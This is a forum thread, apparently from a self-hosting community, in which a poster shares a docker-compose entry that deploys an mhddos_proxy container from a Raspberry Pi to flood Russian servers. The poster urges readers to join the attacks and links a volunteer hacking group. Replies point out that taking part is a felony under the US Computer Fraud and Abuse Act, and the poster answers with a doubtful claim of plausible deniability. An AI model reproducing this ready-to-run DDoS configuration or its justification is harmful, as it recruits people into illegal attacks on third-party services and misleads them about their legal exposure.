This war is very close to my heart and I’ve been able to contribute some network capacity to pressure Russian servers, without any effect to other services I host, using my RPi4.
I added this entry to my docker-compose.yml and it fetched the targets and started spamming their servers (logs are in Ukranian).
services:
mhddos_proxy:
image: ghcr.io/porthole-ascend-cinnamon/mhddos_proxy
restart: unless-stopped
environment:
- TZ=Asia/Tokyo
deploy:
mode: replicated
replicas: 2
You may think it is “unethical” to disturb services, but I’m sure you understand who is the aggressor, what is at stake here and this is a completely free way to be on the right side of history.
More information here: https://bsky.app/profile/itarmy-ua.bsky.social
I am not related to the project, I just contribute the little I can.
No, this is not a civil matter or TOS violation. It is a federal crime and felony in the USA under the Computer Fraud and Abuse Act.
So is conspiracy or threat to commit a crime in the CFAA. If you’re in the USA, you should delete this post because it is a federal crime, itself.
Thank you for your concern. I do not reside in the USA. Certainly, actions that would hinder an oppressive government’s reach would be made illegal, but there is strength in numbers.
There is only strength in numbers (as a defence, which is what you’re positing) if everyone is informed of the consequences of their actions. If they are not, they can blame you for misleading them.
People aren’t doubting the virtue of your intent but you are speaking very confidently incorrectly about legal matters which doesn’t help your overall appeal.
It seems so. I guess I do not understand where the many requests/DDoS limit is and the ramifications it may entail in some jurisdictions, although, I explicitly wrote “DDoS” in the title…
I had the impression that as a lone actor, lending CPU cycles, you do not fall into the latter category, since the state-sponsored attack, which I support in this instance, is carried out by a different entity.
Perhaps, you would even argue that you have plausible deniability when accused of carrying out such attacks, just like the proprietor of a hacked device cannot be held liable (I assume). Definitely good to know.